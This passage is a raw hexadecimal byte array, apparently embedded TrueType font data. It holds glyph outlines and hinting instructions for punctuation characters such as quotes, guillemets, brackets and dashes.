0x6,0x10,0xdd,0x3c,0xb2,0xb,0xa,0x9,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1,0x8, - 0xb,0x0,0x4,0x7,0x0,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, - 0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xa, - 0x9,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x21,0x15,0x23,0x35,0x21,0x15,0x23, - 0x35,0x1,0x15,0x9a,0x2,0x32,0x9a,0x2,0x39,0x9a,0xb8,0xb8,0xb8,0xb8,0xb8,0xb8, - 0xb8,0x0,0x1,0x0,0x6d,0xff,0x37,0x1,0x1b,0x0,0xb8,0x0,0xb,0x0,0x42,0xb1, - 0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c, - 0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0xb4,0x1,0x0,0xb, - 0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c,0x40,0xa,0x3,0x1, - 0x6,0x5,0x3,0x1,0x4,0x9,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31, - 0x30,0x25,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x1,0x1b,0x88, - 0xd,0x19,0x56,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0x0,0x0, - 0x2,0x0,0x44,0xff,0x37,0x0,0xf2,0x3,0xbc,0x0,0xb,0x0,0xf,0x0,0x5b,0xb1, - 0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0xf,0xe,0x2f,0x3c,0xb2,0x0, - 0x1,0xa,0x10,0xdd,0x3c,0xb2,0xc,0xd,0xe,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8, - 0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0x40,0xb,0x1,0xe,0xd,0x2,0xc,0xf, - 0x0,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, - 0xb1,0xa,0x9,0x2f,0x3c,0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3, - 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31,0x30,0x37,0x15,0x14,0x23,0x22,0x27, - 0x35,0x36,0x35,0x27,0x23,0x35,0x13,0x15,0x23,0x35,0xf2,0x88,0xd,0x19,0x56,0x1, - 0x41,0x90,0x9a,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0x3,0x4,0xb8,0xb8, - 0x0,0x0,0x1,0x0,0x56,0x3,0xf0,0x1,0xc,0x5,0x71,0x0,0xb,0x0,0x45,0xb1, - 0x0,0x1,0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb2,0xb,0xa,0x1,0x10,0xdd,0x3c, - 0xb4,0x8,0x9,0x8,0xa,0x1,0x11,0x12,0x39,0x39,0x2f,0x0,0xb1,0xa,0x9,0x2f, - 0x3c,0xb2,0x0,0xb,0x9,0x10,0xdd,0x3c,0xb3,0x1,0x5,0x1,0x0,0x13,0x10,0xc0, - 0x13,0xb5,0x1,0x6,0x1,0x1,0x0,0x9,0x11,0x14,0x12,0x39,0x39,0x14,0xb1,0x3, - 0x1,0x3f,0x31,0x30,0x13,0x35,0x34,0x33,0x32,0x17,0x15,0x22,0x15,0x17,0x33,0x15, - 0x56,0x88,0xf,0x1f,0x5e,0x1,0x41,0x3,0xf0,0xc7,0xba,0x2,0x4d,0x57,0x23,0xb8, - 0x0,0x0,0x2,0x0,0x62,0x3,0xd3,0x2,0x37,0x5,0x55,0x0,0xb,0x0,0x17,0x0, - 0x7e,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c, - 0xb1,0xc,0xd,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd, - 0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14, - 0x15,0x14,0xd,0x16,0x11,0x12,0x39,0x39,0x2f,0x0,0x40,0xe,0x1,0x16,0x15,0x1, - 0xc,0x17,0x0,0xa,0x9,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, - 0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb7,0x1,0x6,0x5,0x1,0x3,0x9,0x2, - 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb7,0x1,0x12,0x11,0xd,0x3,0x15,0x2,0x0, - 0x13,0x11,0x12,0x17,0x39,0x13,0xb3,0xf,0x2,0x3,0x2,0x3f,0x3f,0x31,0x30,0x1, - 0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x21,0x15,0x14,0x23,0x22, - 0x27,0x35,0x32,0x35,0x27,0x23,0x35,0x1,0x10,0x88,0xc,0x1a,0x56,0x1,0x41,0x1, - 0xc1,0x88,0x10,0x1e,0x5e,0x1,0x41,0x5,0x55,0xc7,0xbb,0x2,0x4d,0x5,0x53,0x23, - 0xb8,0xc7,0xbb,0x2,0x4d,0x58,0x23,0xb8,0x0,0x0,0x2,0x0,0x56,0x3,0xf0,0x2, - 0x2b,0x5,0x71,0x0,0xb,0x0,0x17,0x0,0x7f,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x6, - 0x5,0x2f,0x3c,0xb1,0xc,0xd,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c,0xb2,0x0,0x1, - 0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0xa, - 0x1,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14,0x15,0x14,0x16,0xd,0x11,0x12,0x39,0x39, - 0x2f,0x0,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x16,0x15,0x2f,0x3c,0xb2,0x0,0xb,0x9, - 0x10,0xdd,0x3c,0xb2,0xc,0x17,0x15,0x10,0xdd,0x3c,0xb4,0x1,0x11,0x5,0x1,0x0, - 0x13,0x10,0xc0,0xc0,0x13,0xb5,0x1,0x6,0x1,0x1,0x0,0x9,0x11,0x14,0x12,0x39, - 0x39,0x14,0xb5,0x1,0x12,0xd,0x1,0x0,0x15,0x11,0x14,0x12,0x39,0x39,0x14,0xb3, - 0xf,0x1,0x3,0x1,0x3f,0x3f,0x31,0x30,0x1,0x35,0x34,0x33,0x32,0x17,0x15,0x6, - 0x15,0x17,0x33,0x15,0x21,0x35,0x34,0x33,0x32,0x17,0x15,0x22,0x15,0x17,0x33,0x15, - 0x1,0x7d,0x88,0xb,0x1b,0x56,0x1,0x41,0xfe,0x3f,0x88,0xf,0x1f,0x5e,0x1,0x41, - 0x3,0xf0,0xc7,0xba,0x2,0x4d,0x5,0x52,0x23,0xb8,0xc7,0xba,0x2,0x4d,0x57,0x23, - 0xb8,0x0,0x2,0x0,0x62,0xff,0x37,0x2,0x37,0x0,0xb8,0x0,0xb,0x0,0x17,0x0, - 0x7c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c, - 0xb1,0xc,0xd,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd, - 0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14, - 0x15,0x14,0xd,0x16,0x11,0x12,0x39,0x39,0x2f,0x0,0xb7,0x1,0xc,0x17,0x0,0x0, - 0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c, - 0xb1,0x16,0x15,0x2f,0x3c,0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3, - 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x40,0xa,0xf,0x1,0x12,0x11,0xf,0xd, - 0x4,0x15,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31,0x30,0x25,0x15,0x14, - 0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x21,0x15,0x14,0x23,0x22,0x27,0x35, - 0x32,0x35,0x27,0x23,0x35,0x1,0x10,0x88,0xd,0x19,0x56,0x1,0x41,0x1,0xc1,0x88, - 0x11,0x1d,0x5e,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0xc6,0xbb, - 0x2,0x4c,0x58,0x23,0xb8,0x0,0x2,0x0,0xa0,0x0,0x0,0x1,0x48,0x5,0x55,0x0, - 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd, - 0x3c,0xb3,0x7,0x6,0x5,0x4,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x4,0x7,0x0, - 0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, - 0x3c,0xb1,0x6,0x5,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x13,0x3,0x23,0x3, - 0x1,0x42,0x9a,0xa0,0x14,0x83,0x11,0xb8,0xb8,0xb8,0x4,0x9d,0xfc,0x24,0x3,0xdc, - 0x0,0x0,0x2,0x0,0xa2,0xfe,0x66,0x1,0x4a,0x3,0xbc,0x0,0x3,0x0,0x7,0x0, - 0x35,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0xb3,0x7,0x6, - 0x5,0x4,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xb,0x1,0x4,0x7,0x0,0x0,0x3,0x2, - 0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1, - 0x6,0x5,0x2f,0x3c,0x31,0x30,0x13,0x35,0x33,0x15,0x3,0x13,0x33,0x13,0xa2,0x9a, - 0x9a,0x14,0x83,0x11,0x3,0x4,0xb8,0xb8,0xfb,0x62,0x3,0xdd,0xfc,0x23,0x0,0x0, - 0x2,0x0,0x6d,0x0,0x0,0x3,0xc1,0x5,0x63,0x0,0x3,0x0,0x20,0x0,0x44,0xb1, - 0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb5,0x1b,0x14,0x13,0x12, - 0x5,0x4,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0xb1,0xc,0x1b,0x10,0xcd,0x0,0xb4,0x1, - 0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x4, - 0x5,0x2f,0x3c,0xb1,0x14,0x13,0x2f,0x3c,0xb1,0x18,0x1,0x3f,0xb1,0xf,0x18,0x10, - 0xcd,0x31,0x30,0x25,0x15,0x23,0x35,0x37,0x23,0x37,0x34,0x36,0x3f,0x1,0x36,0x35, - 0x34,0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x21,0x32,0x16,0x15,0x10, - 0xf,0x1,0x6,0x15,0x2,0x1d,0x9a,0x9f,0x97,0x1,0x4d,0x84,0x53,0x7e,0x5d,0xb7, - 0xbc,0x61,0x1,0x91,0x1,0xad,0x1,0x16,0xea,0xa6,0xc1,0x54,0x89,0xb8,0xb8,0xb8, - 0xd2,0x1e,0x89,0x6c,0x32,0x20,0x30,0xc2,0xa9,0x57,0x5c,0xb4,0x27,0x2d,0xf4,0x98, - 0x9a,0xda,0xfe,0xc8,0x45,0x1e,0x31,0x77,0x0,0x0,0x2,0x0,0x66,0xfe,0x58,0x3, - 0xba,0x3,0xbc,0x0,0x3,0x0,0x20,0x0,0x45,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3, - 0x2,0x1,0x10,0xdd,0x3c,0xb5,0x1b,0x14,0x13,0x12,0x5,0x4,0x2e,0x2e,0x2f,0x2e, - 0x2e,0x2f,0xb1,0xc,0x1b,0x10,0xcd,0x0,0xb7,0x1,0x0,0x3,0x2,0x2,0x1,0x0, - 0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x14,0x13,0x2f,0x3c,0xb1,0x4, - 0x5,0x2f,0x3c,0xb1,0x18,0x3,0x3f,0xb1,0xf,0x18,0x10,0xcd,0x31,0x30,0x1,0x35, - 0x33,0x15,0x7,0x33,0x7,0x14,0x6,0xf,0x1,0x6,0x15,0x14,0x16,0x33,0x32,0x36, - 0x3d,0x1,0x33,0x15,0x14,0x6,0x21,0x22,0x26,0x35,0x10,0x3f,0x1,0x36,0x35,0x2, - 0x5,0x9a,0x9a,0x97,0x1,0x4c,0x85,0x53,0x7e,0x5d,0xb7,0xbc,0x61,0x90,0xad,0xfe, - 0xe9,0xea,0xa6,0xc2,0x53,0x8a,0x3,0x4,0xb8,0xb8,0xd2,0x1e,0x89,0x6c,0x32,0x20, - 0x30,0xc2,0xaa,0x57,0x5d,0xb4,0x27,0x2d,0xf5,0x98,0x9a,0xdb,0x1,0x39,0x44,0x1e, - 0x30,0x78,0x0,0x0,0x2,0x0,0x66,0x0,0x0,0x3,0x2c,0x4,0x17,0x0,0x5,0x0, - 0xb,0x0,0x5a,0x40,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1, - 0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1, - 0x1,0x8,0x2,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x40, - 0xd,0x1,0x1,0xa,0x9,0x7,0x4,0x3,0x1,0x6,0x2,0x0,0x0,0x0,0x13,0x11, - 0x14,0x12,0x17,0x39,0x13,0x14,0x40,0xb,0x1,0x1,0xb,0x6,0x5,0x0,0x4,0x1, - 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x13,0x1, - 0x27,0x13,0x3,0x27,0x13,0x1,0x27,0x13,0x3,0x2,0x36,0xf6,0xfe,0xed,0x63,0xee, - 0xd7,0xe7,0xf6,0xfe,0xed,0x63,0xee,0xd7,0x4,0x17,0xfd,0xf6,0xfd,0xf3,0x42,0x1, - 0xcb,0x1,0xca,0x40,0xfd,0xf6,0xfd,0xf3,0x42,0x1,0xcb,0x1,0xca,0x0,0x2,0x0, - 0x66,0x0,0x0,0x3,0x2c,0x4,0x17,0x0,0x5,0x0,0xb,0x0,0x5a,0x40,0xc,0xb, - 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x1,0xa,0x4,0x0,0x0,0x3, - 0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x40,0xd,0x1,0x1,0xb,0x9,0x8, - 0x5,0x3,0x2,0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, - 0x40,0xb,0x1,0x1,0x7,0x6,0x1,0x0,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14, - 0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x17,0x3,0x13,0x7,0x9,0x1,0x17,0x3, - 0x13,0x7,0x1,0x1,0x5c,0x69,0xd7,0xee,0x63,0xfe,0xed,0x2,0x46,0x69,0xd7,0xee, - 0x63,0xfe,0xed,0x4,0x17,0x40,0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x2,0xa,0x40, - 0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x0,0x1,0x0,0x66,0x0,0x0,0x1,0xdc,0x4, - 0x17,0x0,0x5,0x0,0x44,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x0,0xb6,0x1,0x1,0x2,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39, - 0x13,0x14,0x40,0xa,0x1,0x1,0x4,0x3,0x1,0x3,0x2,0x0,0x0,0x0,0x13,0x11, - 0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x5,0x0,0x1,0x0,0x2,0x0,0x13, - 0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1b,0x1,0x1,0x27,0x13,0x3,0xe6, - 0xf6,0xfe,0xed,0x63,0xee,0xd7,0x4,0x17,0xfd,0xf6,0xfd,0xf3,0x42,0x1,0xcb,0x1, - 0xca,0x0,0x1,0x0,0x66,0x0,0x0,0x1,0xdc,0x4,0x17,0x0,0x5,0x0,0x44,0xb5, - 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x1, - 0x4,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xa,0x1,0x1, - 0x5,0x3,0x2,0x3,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, - 0xb7,0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13, - 0x14,0x31,0x30,0x1,0x17,0x3,0x13,0x7,0x1,0x1,0x5c,0x69,0xd7,0xee,0x63,0xfe, - 0xed,0x4,0x17,0x40,0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x0,0x1,0xff,0x78,0xfe, - 0x66,0x4,0x9b,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, - 0x2e,0x2e,0x0,0xb7,0x1,0x0,0x3,0x0,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd, - 0x10,0xcd,0xcd,0x13,0x31,0x30,0x9,0x1,0x23,0x1,0x4,0x9b,0xfb,0x50,0x73,0x4, - 0xb1,0x5,0x55,0xf9,0x11,0x6,0xef,0x0,0x1,0x0,0x0,0x1,0xb0,0x1,0xa9,0x2, - 0x32,0x0,0x3,0x0,0x1b,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0, - 0xc0,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30, - 0x13,0x21,0x15,0x21,0x3,0x1,0xa6,0xfe,0x57,0x2,0x32,0x82,0x0,0x0,0x1,0x0, - 0xe3,0x1,0xb0,0x4,0x6,0x2,0x32,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c, - 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, - 0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0xe3,0x3,0x23,0xfc,0xdd,0x2,0x32,0x82, - 0x0,0x0,0x1,0x0,0x0,0x1,0xb0,0x5,0x89,0x2,0x32,0x0,0x3,0x0,0x1b,0xb1, - 0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0,0xc0,0x0,0xb1,0x3,0x2,0x2f, - 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0x9,0x5, - 0x80,0xfa,0x77,0x2,0x32,0x82,0x0,0x0,0x1,0x0,0x67,0xfe,0x5f,0x1,0xd1,0x5, - 0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c,0xb3,0xe, - 0xd,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xf,0x5,0x10,0xcd,0x0,0xb3,0x1,0x1, - 0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13,0xb6, - 0x1,0x1,0x0,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb6,0x1, - 0x1,0xa,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,0x8,0x1, - 0x2,0x3,0x3f,0x3f,0x31,0x30,0x1,0x15,0x7,0x22,0x26,0x11,0x10,0x36,0x33,0x17, - 0x15,0x22,0x6,0x11,0x17,0x15,0x10,0x16,0x1,0xd1,0x26,0xe9,0x5b,0x5b,0xe9,0x26, - 0x92,0x39,0x1,0x39,0xfe,0xe2,0x82,0x1,0xfa,0x2,0x85,0x2,0x85,0xfa,0x1,0x82, - 0x92,0xfe,0x8a,0xf4,0xf5,0xfe,0x8b,0x92,0x0,0x0,0x1,0x0,0x66,0xfe,0x5f,0x1, - 0xd0,0x5,0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c, - 0xb3,0xf,0xe,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xd,0x5,0x10,0xcd,0x0,0xb3, - 0x1,0x9,0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x1,0x1,0x0,0x13,0x10,0xc0, - 0x13,0xb6,0x1,0x1,0xa,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14, - 0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3, - 0x8,0x3,0x2,0x1,0x3f,0x3f,0x31,0x30,0x13,0x35,0x37,0x32,0x16,0x11,0x10,0x6, - 0x23,0x27,0x35,0x32,0x36,0x11,0x35,0x37,0x10,0x26,0x66,0x26,0xe9,0x5b,0x5b,0xe9, - 0x26,0x91,0x39,0x1,0x39,0x4,0xda,0x82,0x1,0xfa,0xfd,0x7b,0xfd,0x7b,0xfa,0x1, - 0x82,0x92,0x1,0x75,0xf5,0xf4,0x1,0x76,0x92,0x0,0x1,0x0,0x71,0xfe,0x66,0x1, - 0xce,0x5,0x55,0x0,0x7,0x0,0x30,0xb1,0x0,0x7,0x2f,0x3c,0xb4,0x6,0x5,0x2, - 0x1,0x3,0x17,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1, - 0x3,0x2,0x1,0x0,0x1,0x0,0x7,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, - 0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x13,0x21,0x15,0x23,0x11,0x33,0x15,0x21,0x71, - 0x1,0x5d,0xc3,0xc3,0xfe,0xa3,0x5,0x55,0x74,0xf9,0xf9,0x74,0x0,0x0,0x1,0x0, - 0x69,0xfe,0x66,0x1,0xc6,0x5,0x55,0x0,0x7,0x0,0x30,0xb4,0x6,0x5,0x2,0x1, - 0x3,0x17,0x2f,0x3c,0xb1,0x0,0x7,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c, - 0x0,0x40,0xb,0x1,0x5,0x4,0x1,0x7,0x6,0x0,0x0,0x1,0x0,0x0,0x13,0x10, - 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x1,0x21,0x35,0x33,0x11, - 0x23,0x35,0x21,0x1,0xc6,0xfe,0xa3,0xc3,0xc3,0x1,0x5d,0xfe,0x66,0x74,0x6,0x7, - 0x74,0x0,0x2,0x0,0x75,0xff,0xf2,0x5,0x97,0x5,0x49,0x0,0x2a,0x0,0x33,0x0, - 0x8c,0xb0,0x3,0x2f,0xb6,0x0,0x2a,0x29,0x28,0x27,0x4,0x3,0x10,0x17,0xdd,0x3c, - 0xb7,0x33,0x2b,0x26,0x1c,0x14,0x12,0xd,0x27,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0xc0, - 0xc0,0xb2,0x7,0x6,0x3,0x10,0xc0,0xc0,0x40,0x9,0x1a,0x1b,0x1a,0x8,0x5,0x1, - 0x5,0x3,0x27,0x11,0x12,0x17,0x39,0x2f,0xb3,0x2e,0xd,0x23,0x14,0x10,0xcd,0x10, - 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x1c,0x1b,0x2f,0x3c,0xb6,0x1,0x1,0x7, - 0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xd,0x1,0x33,0x2a, - 0x29,0x28,0x27,0x8,0x6,0x5,0x8,0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13, - 0xb5,0x2b,0x26,0x12,0x3,0x1b,0x1,0x11,0x12,0x17,0x39,0xb3,0x17,0x1,0xa,0x0, - 0x3f,0x3f,0xb3,0x31,0xa,0x20,0x17,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x1f, - 0x1,0x14,0x7,0x17,0x7,0x27,0x6,0x21,0x20,0x26,0x11,0x34,0x36,0x37,0x36,0x37, - 0x26,0x35,0x34,0x36,0x33,0x32,0x16,0x15,0x7,0x23,0x35,0x34,0x26,0x23,0x22,0x6, - 0x15,0x14,0x1f,0x1,0x1,0x3d,0x2,0x25,0xe,0x1,0x15,0x14,0x16,0x21,0x20,0x37, - 0x4,0x1e,0x98,0x1,0x1,0x10,0xef,0x54,0xca,0x55,0xfe,0x8b,0xfe,0x98,0xd2,0x61, - 0x8d,0xd,0x1c,0x7c,0xab,0xeb,0xe6,0xa8,0x2,0x97,0x52,0xa9,0x99,0x64,0x57,0x22, - 0x2,0x2,0xfd,0xce,0x9b,0x49,0x79,0x1,0x11,0x1,0x47,0x28,0x2,0x5b,0x24,0x45, - 0x6d,0x55,0xc5,0x6b,0xa7,0xb5,0xa0,0x1,0x13,0xb5,0x90,0x1d,0x3,0x6,0x68,0x87, - 0xbf,0x8b,0x88,0xba,0x55,0x33,0x98,0x4a,0x42,0x65,0x72,0x44,0x1c,0xfe,0x54,0x1c, - 0x38,0x46,0x81,0x22,0x5b,0x9f,0xd0,0x5d,0x92,0x0,0x2,0x0,0x9a,0xfe,0x77,0x4, - 0x4f,0x5,0x63,0x0,0x30,0x0,0x3e,0x0,0x5d,0x40,0xa,0x2b,0x29,0x27,0x1a,0x19, - 0x13,0x11,0xf,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2f,0xb7, - 0x3d,0x27,0x36,0xf,0x20,0x13,0x8,0x2b,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd, - 0x0,0xb1,0x1a,0x19,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xd,0x3b,0x34,0x1, - 0x1,0x3b,0x34,0x29,0x11,0x4,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39, - 0x13,0x14,0x2f,0x2f,0xb3,0x2e,0x1,0x16,0x3,0x3f,0x3f,0xb3,0x1d,0x16,0x5,0x2e, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,0x27,0x34,0x26,0x23,0x22,0x6,0x15,0x14, - 0x1f,0x1,0x5,0x1e,0x1,0x15,0x14,0x7,0x16,0x15,0x14,0x6,0x21,0x20,0x26,0x35, - 0x33,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x27,0x25,0x2e,0x1,0x35,0x34,0x37, - 0x26,0x35,0x34,0x36,0x33,0x20,0x16,0x1,0x5,0x16,0x33,0x32,0x35,0x34,0x27,0x25, - 0x26,0x23,0x22,0x15,0x14,0x4,0x2f,0x86,0x1,0x72,0xc8,0xb8,0x62,0x64,0x58,0x1, - 0x32,0xaf,0x5b,0x84,0x87,0xb5,0xfe,0xd7,0xfe,0xdc,0xac,0x8a,0x63,0xcc,0xf7,0x79, - 0x41,0x7e,0xfe,0x5b,0x7d,0x4f,0x9c,0x67,0x99,0xf5,0x1,0x33,0x9f,0xfd,0x88,0x1, - 0x34,0x3d,0x29,0x76,0xa3,0xfe,0xd9,0x46,0x20,0x78,0x3,0xf9,0x38,0x70,0x40,0x3f, - 0x76,0x94,0x1f,0x1a,0x5b,0x33,0x5c,0x7d,0xd6,0x37,0x41,0xcd,0xde,0x88,0x8c,0xef, - 0xa7,0x52,0x48,0x92,0x61,0x43,0x22,0x6f,0x21,0x73,0x93,0xcc,0x24,0x42,0xaf,0xd0, - 0x83,0x7b,0xfc,0x9a,0x56,0x11,0xd1,0x64,0x30,0x57,0x15,0xc1,0x7e,0x0,0x1,0x0, - 0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0,0xb,0x0,0x46,0xb1,0x9,0x8,0x2f,0x3c, - 0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb5,0x0, - 0x5,0x4,0x1,0x3,0x6,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1,0x0,0xb,0x0,0x6, - 0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4,0xa,0x9,0x2,0x1, - 